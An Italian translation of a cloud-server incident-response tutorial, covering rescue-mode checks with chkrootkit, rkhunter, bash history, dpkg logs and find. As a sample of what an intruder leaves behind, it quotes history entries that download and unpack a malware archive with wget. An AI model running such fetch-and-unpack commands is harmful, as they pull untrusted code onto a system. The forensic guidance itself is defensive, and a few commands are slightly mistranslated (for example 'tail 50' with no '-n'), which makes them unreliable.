GNU/Linux >> Linux Esercitazione >  >> Linux

Verificare la presenza di una compromissione della sicurezza:indagine sulla modalità di salvataggio

Nell'articolo Verifica di una compromissione della sicurezza:backdoor e intrusi, hai appreso alcune tecniche di base per raccogliere le informazioni necessarie per identificare gli intrusi che hanno compromesso il tuo server. Questo articolo descrive come utilizzare la Modalità di salvataggio del Pannello di controllo cloud per dare un'occhiata più da vicino al tuo sistema. Puoi utilizzare la modalità di ripristino per capire meglio in che modo il tuo server è stato compromesso e per identificare i file non compromessi prima di eseguire il backup dei dati.

Attiva la modalità di salvataggio

Poiché anche il sistema operativo del tuo Cloud Server potrebbe essere compromesso, non puoi fare affidamento su di esso. L'intruso potrebbe aver compromesso binari come "ls", "find" e "netstat", quindi il loro output potrebbe fuorviarti. Di conseguenza, è necessario utilizzare un ambiente del sistema operativo diverso per indagare in sicurezza sul compromesso.

Puoi farlo utilizzando la funzione della modalità di salvataggio fornita nel pannello di controllo del cloud. Per istruzioni e ulteriori informazioni, consulta Modalità soccorso.

Mentre il tuo server è in modalità di ripristino, puoi eseguire le seguenti azioni per individuare l'origine della compromissione.

Cerca i rootkit

Ti consigliamo di installare e utilizzare i seguenti strumenti per scansionare il tuo sistema alla ricerca di rootkit.

Cerca i rootkit con chkrootkit

chkrootkit cerca firme note nei sistemi binari compromessi. Ad esempio, alcune versioni compromesse di ps avere "/dev/ptyp ” dentro di loro. Consigliamo di installare chkrootkit usando il tuo gestore di pacchetti invece di compilare dal sorgente. Per ulteriori opzioni e informazioni sull'utilizzo di chkrootkit, vedere http://www.chkrootkit.org/README.

  1. Per installarlo, esegui il seguente comando:

     apt-get install chkrootkit
    
  2. Esegui chkrootkit contro il file system montato del Cloud Server:

     chkrootkit -r /mnt/demo
    

I seguenti messaggi vengono stampati da chkrootkit durante i suoi test:

  • INFECTED - il test ha identificato un comando probabilmente modificato da un rootkit noto

  • not infected - il test non ha trovato alcuna firma di rootkit nota

  • not tested - il test non è stato eseguito

    Ciò potrebbe verificarsi nelle seguenti situazioni:

    • Il test è specifico del sistema operativo
    • Il test dipende da un programma esterno che non è disponibile
    • Sono fornite alcune opzioni specifiche della riga di comando (ad esempio, -r )
  • not found - il comando da testare non è stato trovato

  • Vulnerable but disabled - il comando è infetto

Per ulteriori opzioni e informazioni sull'utilizzo di chkrootkit , vedere https://www.chkrootkit.org/README.

Cerca i rootkit con rkhunter

Rootkit Hunter (rkhunter ) controlla i sistemi rispetto a un database di rootkit noti. Può anche controllare altri file di sistema per assicurarsi che siano in linea con le proprietà e i valori previsti.

  1. Accedi alla tua applicazione terminale e passa ai tuoi sources directory:

     cd ~/sources
    
  2. Scarica l'ultima versione di rkhunter dall'area download di SourceForge:

     https://sourceforge.net/projects/rkhunter/files/
    
  3. Dopo aver installato rkhunter , eseguilo su /mnt/demo .

     rkhunter -c -r /mnt/demo
    

rkhunter produce avvisi durante i test che indicano dove un file si è discostato dalle impostazioni predefinite previste. Dopo il test, è possibile controllare il registro per visualizzare informazioni più dettagliate su quali file hanno prodotto l'avviso. Per ulteriori opzioni e informazioni sull'utilizzo di rkhunter , vedi https://rkhunter.cvs.sourceforge.net/viewvc/rkhunter/rkhunter/files/README.

Controlla gli ultimi comandi

Per avere un'idea di come è stata violata la sicurezza del Cloud Server, controlla quali utenti hanno eseguito i comandi prima che il Cloud Server venisse compromesso.

La storia di .bash contiene gli ultimi comandi utilizzati con la shell Bash. Devi controllare .bashhistory file nella directory home di ciascun utente. Il .bashhistory più importante il file è quello che appartiene a root:/root/.bashhistory .

Un Cloud Server compromesso potrebbe avere voci come le seguenti:

wget https://malware.tar.gz
gunzip malware.tar.gz
tar xf malware.tar

Controlla i pacchetti installati

Tutte le modifiche al sistema di confezionamento sono archiviate in /var/log/dpkg.log su distribuzioni basate su Debian. Controlla questo file per qualsiasi attività sospetta come pacchetti installati o rimossi o un bus modificato.

Esegui il comando seguente per mostrare le ultime 50 righe di dpkg.log file:

tail 50 /mnt/demo/var/log/dpkg.log

Usa il comando trova

Il find Il comando viene solitamente utilizzato per trovare nomi di file con schemi specifici. Tuttavia, puoi anche usarlo per trovare i file che sono stati modificati o a cui si è avuto accesso entro un periodo di tempo specifico.

Ad esempio, puoi trovare tutti i file in /etc di proprietà di root che sono stati modificati negli ultimi due giorni, come segue:

find /mnt/demo/etc -user root -mtime -2

Le opzioni disponibili sono le seguenti:

-atime: when the file was last accessed
-ctime: when the file's permissions were last changed
-mtime: when the file's data was last modified

Nota il segno meno davanti a "2" nell'esempio precedente. Le opzioni "time" per find comando sono espressi in incrementi di 24 ore e il simbolo utilizzato davanti al numero può indicare minore di o maggiore di .Quindi '-2' significa che vuoi trovare i file che sono stati modificati negli ultimi due giorni. Se vuoi trovare i file che sono stati modificati più di 2 giorni fa, usa +2 :

find /mnt/demo/etc -user root -mtime +2

Esistono anche versioni di atime , ctime e mtime argomenti che misurano il tempo in minuti:

-amin: when (in minutes) the file was last accessed
-cmin: when (in minutes) the file's permissions were last changed
-mmin: when (in minutes) the file's data was last modified

Esempio

Trova tutti i file nel tuo Cloud Server di proprietà della demo utenti a cui è stato effettuato l'accesso negli ultimi cinque minuti:

find /mnt/demo -user demo -amin -5

Il seguente elenco di find le opzioni di comando potrebbero essere utili durante l'indagine sull'indagine del Cloud Server compromesso:

-nouser: shows output not associated with an existing userid
-nogroup: shows output not associated with an existing groupid
-links n: file has n links
-newer file: file was modified more recently than file
-perm mode: file has mode permissions

Controlla log e file sospetti

Puoi trovare un intruso controllando la presenza di file sospetti in /tmp ,/var/tmp , /dev/shm , /var/spool/samba , /var/spool/squid e/var/spool/cron .

Puoi anche guardare i file di registro in /var/log directory. Ad esempio,auth.log registra le informazioni di accesso dell'utente, inclusi gli indirizzi IP.

Riepilogo

In Verifica di una compromissione della sicurezza:backdoor e intrusi, hai appreso alcune tecniche da utilizzare per scoprire le backdoor e rintracciare gli intrusi nel tuo Cloud Server. Questo ti aiuterà a evitare la situazione o l'errore che ha portato al compromesso, riducendo al minimo la possibilità di compromessi futuri. In questo articolo hai imparato come investigare il tuo Cloud Server in modalità rescue.

Che sia causato da virus, danneggiamento dei file, guasto della macchina o altri incidenti imprevisti, la possibilità di perdita di dati è reale. Per evitare l'interruzione che una tale perdita può causare, eseguire regolarmente il backup dei file. Di seguito sono elencate alcune opzioni per aiutarti a proteggere i tuoi file:

  • Rackspace Cloud Backup è una buona scelta per i clienti di Cloud Server. È completamente integrato con i server cloud ed è un'alternativa di backup basata su file al backup dell'intero server di immagini.
  • Per coloro che preferiscono farlo da soli, consulta Eseguire il backup dei file con rsync.

Linux
  1. Distribuzioni Linux popolari per i test di sicurezza

  2. Verificare il processo se lo stesso è in esecuzione?

  3. Esiste una riga per verificare la presenza di file?

  4. Passaggi di sicurezza avanzati per Linux

  5. Verificare la validità dell'IP

Come controllare (scansionare) le porte aperte in Linux

Modalità di salvataggio

Installa PostgreSQL su un server Ubuntu per le configurazioni di sicurezza

Utilizzo della modalità avanzata Ubuntu 18.04 per Hyper-V su Windows 10

CentOS / RHEL 6:come avviare in modalità di ripristino

Verifica l'esistenza di wget/curl